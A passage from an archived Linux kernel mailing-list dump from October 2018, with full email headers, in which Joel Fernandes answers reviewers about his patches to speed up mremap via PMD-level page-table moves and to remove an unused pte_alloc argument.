 hVyNi6MDrJlz77EflnU3vSDe0xbeuTe8cghrE=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=G78I9uM4gXdiLalpqQZcUQ0k8S9gAvq6zBmyUxhGe0M=;
 b=YbUeJMMUto5VYW1Z86ITdTG4lLsayQO0p7GeH+BzTtS7kMAG6IeJM3YSjD+Nqnjq6z
 xRWtISavMBvIOjl5s6vcenqA2ddbk52K3TeUBLxSSUDK8mIGnKaImczC6R0iVC1XZ3bJ
 mWi1tWQ7aTepeL4kRbxycNn8bYDwf0dRz51HBEBoz6QvthzJpoXjk7lVwKC++Y4tV8Jb
 yNA3H/4FIKJxxGzlf5V/rwzcGNlOPEqXlYzJLWbipCETUMG8Lan7Y88Htew8UZ2rUGxj
 SjuoChzJQc7nkLmmXZk0vLQCO9CYv+ACx12egTA8weEc9zrSYC1l1LeOhaF6jF8aA0iV
 H5AQ==
X-Gm-Message-State: AGRZ1gLqDejcmewn0nlxZt8YLXd2yrNgydIZcGGSWeUGosEbZvkJ6LTi
 NVi9dyaRh25tLSthbjNtVHK1pw==
X-Google-Smtp-Source: AJdET5dUEfywPWvzS+489PJ55mfHZNUk9qKPmDa0EsEQ3lYTg7j+ER6qGO2BektCxwt9F6U/VdSRSA==
X-Received: by 2002:aa7:814f:: with SMTP id
 d15-v6mr5054081pfn.78.1540433350578; 
 Wed, 24 Oct 2018 19:09:10 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id 68-v6sm6748192pfg.136.2018.10.24.19.09.08
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Wed, 24 Oct 2018 19:09:08 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181024125724.yf6frdimjulf35do@kshutemo-mobl1>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181024_190922_413513_DAAD6700 
X-CRM114-Status: GOOD (  22.07  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:444 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4610 gmane.linux.ports.mips.general:67170 gmane.linux.ports.ia64:29430 gmane.linux.ports.sh.devel:57684 gmane.linux.kernel.mm:205970 gmane.linux.ports.sparc:28654 gmane.linux.ports.riscv:1205 gmane.comp.emulators.kvm.arm.devel:19591 gmane.linux.ports.hexagon:1950 gmane.linux.ports.parisc:29231 gmane.linux.kernel:2907288 gmane.linux.ports.alpha:5365 gmane.linux.ports.ppc64.devel:164874
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4610>

On Wed, Oct 24, 2018 at 03:57:24PM +0300, Kirill A. Shutemov wrote:
> On Wed, Oct 24, 2018 at 10:57:33PM +1100, Balbir Singh wrote:
> > On Wed, Oct 24, 2018 at 01:12:56PM +0300, Kirill A. Shutemov wrote:
> > > On Fri, Oct 12, 2018 at 06:31:58PM -0700, Joel Fernandes (Google) wrote:
> > > > diff --git a/mm/mremap.c b/mm/mremap.c
> > > > index 9e68a02a52b1..2fd163cff406 100644
> > > > --- a/mm/mremap.c
> > > > +++ b/mm/mremap.c
> > > > @@ -191,6 +191,54 @@ static void move_ptes(struct vm_area_struct *vma, pmd_t *old_pmd,
> > > >  		drop_rmap_locks(vma);
> > > >  }
> > > >  
> > > > +static bool move_normal_pmd(struct vm_area_struct *vma, unsigned long old_addr,
> > > > +		  unsigned long new_addr, unsigned long old_end,
> > > > +		  pmd_t *old_pmd, pmd_t *new_pmd, bool *need_flush)
> > > > +{
> > > > +	spinlock_t *old_ptl, *new_ptl;
> > > > +	struct mm_struct *mm = vma->vm_mm;
> > > > +
> > > > +	if ((old_addr & ~PMD_MASK) || (new_addr & ~PMD_MASK)
> > > > +	    || old_end - old_addr < PMD_SIZE)
> > > > +		return false;
> > > > +
> > > > +	/*
> > > > +	 * The destination pmd shouldn't be established, free_pgtables()
> > > > +	 * should have release it.
> > > > +	 */
> > > > +	if (WARN_ON(!pmd_none(*new_pmd)))
> > > > +		return false;
> > > > +
> > > > +	/*
> > > > +	 * We don't have to worry about the ordering of src and dst
> > > > +	 * ptlocks because exclusive mmap_sem prevents deadlock.
> > > > +	 */
> > > > +	old_ptl = pmd_lock(vma->vm_mm, old_pmd);
> > > > +	if (old_ptl) {
> > > 
> > > How can it ever be false?

Kirill,
It cannot, you are right. I'll remove the test.

By the way, there are new changes upstream by Linus which flush the TLB
before releasing the ptlock instead of after. I'm guessing that patch came
about because of reviews of this patch and someone spotted an issue in the
existing code :)

Anyway the patch in concern is:
eb66ae030829 ("mremap: properly flush TLB before releasing the page")

I need to rebase on top of that with appropriate modifications, but I worry
that this patch will slow down performance since we have to flush at every
PMD/PTE move before releasing the ptlock. Where as with my patch, the
intention is to flush only at once in the end of move_page_tables. When I
tried to flush TLB on every PMD move, it was quite slow on my arm64 device [2].

Further observation [1] is, it seems like the move_huge_pmds and move_ptes code
is a bit sub optimal in the sense, we are acquiring and releasing the same
ptlock for a bunch of PMDs if the said PMDs are on the same page-table page
right? Instead we can do better by acquiring and release the ptlock less
often.

I think this observation [1] and the frequent TLB flush issue [2] can be solved
by acquiring the ptlock once for a bunch of PMDs, move them all, then flush
the tlb and then release the ptlock, and then proceed to doing the same thing
for the PMDs in the next page-table page. What do you think?

- Joel

From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] mm: speed up mremap by 500x on large regions (v2)
Date: Wed, 24 Oct 2018 19:13:50 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20181025021350.GB13560@joelaf.mtv.corp.google.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-3-joel@joelfernandes.org>
 <20181024101255.it4lptrjogalxbey@kshutemo-mobl1>
 <20181024115733.GN8537@350D>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540433529 16120 195.159.176.226 (25 Oct 2018 02:12:09 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 02:12:09 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Peter Zijlstra <peterz@infradead.org>,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 mhocko@kernel.org, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molnar <mingo@redhat.com>, Geert Uy
To: Balbir Singh <bsingharora@gmail.com>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Oct 25 04:12:00 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gFV7v-0003yv-NG
	for gla-linux-snps-arc@m.gmane.org; Thu, 25 Oct 2018 04:11:59 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=jB8RpTc7IAIoNhq2EERqIuaS843hm/hgSbs5gYFYvOc=; b=qyy95DWskV8RS+
	ixreCwCcs7yWnY/gW5ur8iJCy4kPhreIfFNEMoaP/0RnD4FonlQmlAZ8umpbCCy/MIEDL+fj1Bcg9
	EjwyeLC/e8+mALe6mi4TGSTvI5JXT8LEkZMZwYK5XtAQxbLuab9Esn0STYtZJ1IHs+XDTA/IB96FM
	pl1n7M77ED7EXxeKoOQWNXFZvQ//ymkjGXOlY3OMdVSTokxCwiiP39yGbOaijmjxodcarDGKdo2Zw
	ZPunvzWEiUcsIkXHmqY5R7jDALgyAfu6fVqdAtbLTn1GrMYyAAY4QWdLmfI9v9xxuomBFJxNWEc4M
	y8D9Kci7BWwohw747Tcg==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFVA0-00021k-LC; Thu, 25 Oct 2018 02:14:08 +0000
Original-Received: from mail-pf1-x443.google.com ([2607:f8b0:4864:20::443])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFV9u-0001zL-UR
 for linux-snps-arc@lists.infradead.org; Thu, 25 Oct 2018 02:14:06 +0000
Original-Received: by mail-pf1-x443.google.com with SMTP id r64-v6so3370342pfb.13
 for <linux-snps-arc@lists.infradead.org>; Wed, 24 Oct 2018 19:13:52 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=5CbWcmgaWhK69oh2DEOguVgA2uKl1YpKoqaGwtGwge8=;
 b=q/q3QTdACzUlPpDQMN1kjcezMfcsn0Yv6fXB6ODPHDCxjW91L/KWd7ad+HnYMhVDLK
 4w8FEyzAp+rB09Si8JZs7MJE9NTlxjm6PO3Hk2MpIdxGl6P2KagjiLkUB/ExO2oGujpm
 CSZTqm0K2zOVm+Foil/VJrYg2JhZozpJsR9l8=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=5CbWcmgaWhK69oh2DEOguVgA2uKl1YpKoqaGwtGwge8=;
 b=ICnL48UX+sJKLJOo/iGdNJxerLqF//EnD8Z5Kcd8bIAvIGqye/cOpJ1CelSqnzgwhR
 iS7HTbpE5b5Moihqj6eVsLzA6CTdrymHOZ99DGKULzpQfJDSSN7c2SXvuY0hjCJU9vSC
 0CiwTUBMcMNLU4omBC9j+WqQjW/Cxjyeav/Jc3/ms3iQlocpur5vhCJPn0zO0HQTflwU
 DVWs1TY+Cn3Ow65lilreGaSASIocz/lj4XGAFcleP6aHQkSK/95B5vdWlcpAD2CKjnFC
 xiAajTFSG65iyxF3bajuHba5u9pjA/Dnte05tFYlBtTGaoVAOJNJr4GjQprQkM+bF8WM
 QW3Q==
X-Gm-Message-State: AGRZ1gIhnu7o0NU1aizm+8vEz+rnOZFYdEdO1fs6NmPNmfSMDVuW6fA3
 FpF0KPaHp1UG+36xxHDk+m9t1g==
X-Google-Smtp-Source: AJdET5dpMwn85VnY2OpxFWBdTBIZT6WEknqSNasg/mS3JU0dLY8ImJjZVFsNiBwxQlcm8wQ3lAxw+Q==
X-Received: by 2002:a63:441f:: with SMTP id
 r31-v6mr4853133pga.60.1540433632120; 
 Wed, 24 Oct 2018 19:13:52 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id 73-v6sm774464pft.178.2018.10.24.19.13.50
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Wed, 24 Oct 2018 19:13:50 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181024115733.GN8537@350D>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181024_191402_999404_C7BCF238 
X-CRM114-Status: GOOD (  11.97  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:443 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4611 gmane.linux.ports.mips.general:67171 gmane.linux.ports.ia64:29431 gmane.linux.ports.sh.devel:57685 gmane.linux.kernel.mm:205972 gmane.linux.ports.sparc:28655 gmane.linux.ports.riscv:1206 gmane.comp.emulators.kvm.arm.devel:19592 gmane.linux.ports.hexagon:1951 gmane.linux.ports.parisc:29232 gmane.linux.kernel:2907292 gmane.linux.ports.alpha:5366 gmane.linux.ports.ppc64.devel:164875
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4611>

On Wed, Oct 24, 2018 at 10:57:33PM +1100, Balbir Singh wrote:
[...]
> > > +		pmd_t pmd;
> > > +
> > > +		new_ptl = pmd_lockptr(mm, new_pmd);
> 
> 
> Looks like this is largely inspired by move_huge_pmd(), I guess a lot of
> the code applies, why not just reuse as much as possible? The same comments
> w.r.t mmap_sem helping protect against lock order issues applies as well.

I thought about this and when I looked into it, it seemed there are subtle
differences that make such sharing not worth it (or not possible).

 - Joel

From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Joel Fernandes <joel@joelfernandes.org>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.kernel.mm,gmane.linux.ports.sparc,gmane.linux.ports.riscv,gmane.comp.emulators.kvm.arm.devel,gmane.linux.ports.hexagon,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 1/4] treewide: remove unused address argument from
 pte_alloc functions (v2)
Date: Wed, 24 Oct 2018 19:21:19 -0700
Lines: 25
Approved: news@gmane.org
Message-ID: <20181025022119.GC13560@joelaf.mtv.corp.google.com>
References: <20181013013200.206928-1-joel@joelfernandes.org>
 <20181013013200.206928-2-joel@joelfernandes.org>
 <20181024083716.GN3109@worktop.c.hoisthospitality.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1540433977 15242 195.159.176.226 (25 Oct 2018 02:19:37 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 25 Oct 2018 02:19:37 +0000 (UTC)
User-Agent: Mutt/1.10.1 (2018-07-13)
Cc: linux-mips@linux-mips.org, Rich Felker <dalias@libc.org>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>,
 Dave Hansen <dave.hansen@linux.intel.com>, Will Deacon <will.deacon@arm.com>,
 Michal Hocko <mhocko@kernel.org>, linux-mm@kvack.org, lokeshgidra@google.com,
 sparclinux@vger.kernel.org, linux-riscv@lists.infradead.org,
 elfring@users.sourceforge.net, Jonas Bonn <jonas@southpole.se>,
 kvmarm@lists.cs.columbia.edu, dancol@google.com,
 Yoshinori Sato <ysato@users.sourceforge.jp>, linux-xtensa@linux-xtensa.org,
 linux-hexagon@vger.kernel.org, Helge Deller <deller@gmx.de>,
 "maintainer:X86 ARCHITECTURE \(32-BIT AND 64-BIT\)" <x86@kernel.org>,
 hughd@google.com, "James E.J. Bottomley" <jejb@parisc-linux.org>,
 kasan-dev@googlegroups.com, anton.ivanov@kot-begemot.co.uk,
 Ingo Molnar <mingo@redhat.com>, Geert Uytterhoeven <geert@linux-m
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Thu Oct 25 04:19:28 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1gFVF9-0003il-Fc
	for gla-linux-snps-arc@m.gmane.org; Thu, 25 Oct 2018 04:19:27 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:Cc:List-Subscribe:List-Help:List-Post:
	List-Archive:List-Unsubscribe:List-Id:In-Reply-To:MIME-Version:References:
	Message-ID:Subject:To:From:Date:Reply-To:Content-ID:Content-Description:
	Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc:Resent-Message-ID:
	List-Owner; bh=EemwVUyH7AzDolZa81p60QMC5oNrc1yxp4AdmwHbrVc=; b=jGVoUm79aLYMRK
	PH8sls0Z2k4W33FdszlWO1EYqIaoUtMHg8bUkvBxKT/ecuUZwoEpiPPxG5Fat3vjZ+q53wsZryNuA
	mfTnnoDmWfM0p1jK/w3DOA3itUpLb8cr9n0AABTzirZodq/QEr1lzYZanhJ4pNw9t4EFl443CRhCa
	bSZd/HV/n+N8CCmeEL5ALlubq62jO2zYI1VTlwyfeqiEPJRpHx0EMyqsU7hVwAJuwu3MFN+ZMXGmu
	bR+ZSlx+Gh7GcEQFz2OuPZdFAWmXe+Issq/L45mT0hdSEeeJppfEGecLWO5VGkPgSO5RtiNzM0sfw
	LpDN5FpE7FobDmLBZ+Yw==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1gFVHE-0004xb-Md; Thu, 25 Oct 2018 02:21:36 +0000
Original-Received: from mail-pf1-x441.google.com ([2607:f8b0:4864:20::441])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1gFVHA-0004vs-N1
 for linux-snps-arc@lists.infradead.org; Thu, 25 Oct 2018 02:21:34 +0000
Original-Received: by mail-pf1-x441.google.com with SMTP id q1-v6so3383865pfh.10
 for <linux-snps-arc@lists.infradead.org>; Wed, 24 Oct 2018 19:21:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=joelfernandes.org; s=google;
 h=date:from:to:cc:subject:message-id:references:mime-version
 :content-disposition:in-reply-to:user-agent;
 bh=a3qWVWJhvBgQDe8YRsbgtRjpHQfuWQV3NPWrQqOgjm0=;
 b=WhUgko4o5JcJhUwoWI8kPjvkrH9YQTvlMUDHtdL2JJ5mCTuig+Mqt2sFNrTVhmJSgZ
 34O62c+REJyhBfJwS4DhKcn3WHO4O/TKsj/DlxdzkUHTNLB9x+bJAzgHPxnnVjbdI5DC
 PQKlOZe6+0JIfKGXqhkPj1W7WBMfDG+7PFQCQ=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=1e100.net; s=20161025;
 h=x-gm-message-state:date:from:to:cc:subject:message-id:references
 :mime-version:content-disposition:in-reply-to:user-agent;
 bh=a3qWVWJhvBgQDe8YRsbgtRjpHQfuWQV3NPWrQqOgjm0=;
 b=D0iTzNmFyv+BxEkO8hWJqbXVv8mutcz+Q3Y/MJK44jrBuh15or6CdHSUhioZQi5en3
 QsY9ns7aTAlnGdv719f74/T51EZACgajrwt/L+z6t5alZsZJ0LeKyRTowOAaaIJSx5Sw
 Iez9iFwZHyc0eHVKWKVOi6pHcdxCzGk1Us+VETN77ddTxTgTsFXeqrN+QOHWCiAm1zNi
 p5TVK89gqjH1536Q2Ck71ADHL4uUrAg5WxqSSA5Q5VF71bemcc0JI0P3cPlcZeAJMXPz
 +WJldyTjzffSQ9tWIFwpOvz2/vTXcmUpOjd9uD7KpACKi7kF/enUdd89gcOknUGMwpRU
 BDJg==
X-Gm-Message-State: AGRZ1gKOtKQEnAXXCeTx30fngck7wSY7ZZJtGpqXIhlpmneLmi4La89v
 9qO6P1jg9GL657EzbS/tf+iRug==
X-Google-Smtp-Source: AJdET5fQ846491taIkpUacXcNZHbPUwGXEdQnQATNy2W0qACW8LZiE3r2xKx5hJLJ1WKuWwXbkkY2Q==
X-Received: by 2002:a63:88c7:: with SMTP id l190mr4758613pgd.110.1540434081712; 
 Wed, 24 Oct 2018 19:21:21 -0700 (PDT)
Original-Received: from localhost ([2620:0:1000:1601:3aef:314f:b9ea:889f])
 by smtp.gmail.com with ESMTPSA id 11-v6sm8041192pfs.108.2018.10.24.19.21.20
 (version=TLS1_2 cipher=ECDHE-RSA-CHACHA20-POLY1305 bits=256/256);
 Wed, 24 Oct 2018 19:21:20 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <20181024083716.GN3109@worktop.c.hoisthospitality.com>
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20181024_192132_753959_47D43030 
X-CRM114-Status: GOOD (  16.23  )
X-Spam-Score: -0.1 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.1 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.0 RCVD_IN_DNSWL_NONE     RBL: Sender listed at http://www.dnswl.org/, no
 trust [2607:f8b0:4864:20:0:0:0:441 listed in] [list.dnswl.org]
 -0.0 SPF_PASS               SPF: sender matches SPF record
 -0.1 DKIM_VALID_AU Message has a valid DKIM or DK signature from author's
 domain
 0.1 DKIM_SIGNED            Message has a DKIM or DK signature,
 not necessarily valid
 -0.1 DKIM_VALID Message has at least one valid DKIM or DK signature
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4612 gmane.linux.ports.mips.general:67172 gmane.linux.ports.ia64:29432 gmane.linux.ports.sh.devel:57686 gmane.linux.kernel.mm:205974 gmane.linux.ports.sparc:28656 gmane.linux.ports.riscv:1207 gmane.comp.emulators.kvm.arm.devel:19593 gmane.linux.ports.hexagon:1952 gmane.linux.ports.parisc:29233 gmane.linux.kernel:2907296 gmane.linux.ports.alpha:5367 gmane.linux.ports.ppc64.devel:164876
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4612>

On Wed, Oct 24, 2018 at 10:37:16AM +0200, Peter Zijlstra wrote:
> On Fri, Oct 12, 2018 at 06:31:57PM -0700, Joel Fernandes (Google) wrote:
> > This series speeds up mremap(2) syscall by copying page tables at the
> > PMD level even for non-THP systems. There is concern that the extra
> > 'address' argument that mremap passes to pte_alloc may do something
> > subtle architecture related in the future that may make the scheme not
> > work.  Also we find that there is no point in passing the 'address' to
> > pte_alloc since its unused. So this patch therefore removes this
> > argument tree-wide resulting in a nice negative diff as well. Also
> > ensuring along the way that the enabled architectures do not do anything
> > funky with 'address' argument that goes unnoticed by the optimization.
> 
> Did you happen to look at the history of where that address argument
> came from? -- just being curious here. ISTR something vague about
> architectures having different paging structure for different memory
> ranges.

I didn't happen to do that analysis but from code analysis, no architecutre
is using it. Since its unused in the kernel, may be such architectures don't
exist or were removed, so we don't need to bother? Could you share more about
your concern with the removal of this argument?

thanks,

 - Joel

From - Thu Nov 08 21:42:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.ibm.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.kernel.arc,gmane.linux.ports.arm.kernel,gmane.linux.ports.hexagon,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.riscv,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.drivers.devicetree,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v2 0/2] arm64: Cut rebuild time when changing
 CONFIG_BLK_DEV_INITRD
Date: Thu, 25 Oct 2018 10:38:34 +0100
Lines: 124
Approved: news@gmane.org
Message-ID: <20181025093833.GA23607@rapoport-lnx>
References: <20181024193256.23734-1-f.fainelli@gmail.com>
 <CAL_Jsq+KCOv6pXXHhHDZ+7-QUrmtMDvSjEVhK15yZ3qbnn61Ag@mail.gmail.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1540460216 8382 195.159.176.226 (25 Oct 2018 09:36:56 GMT)
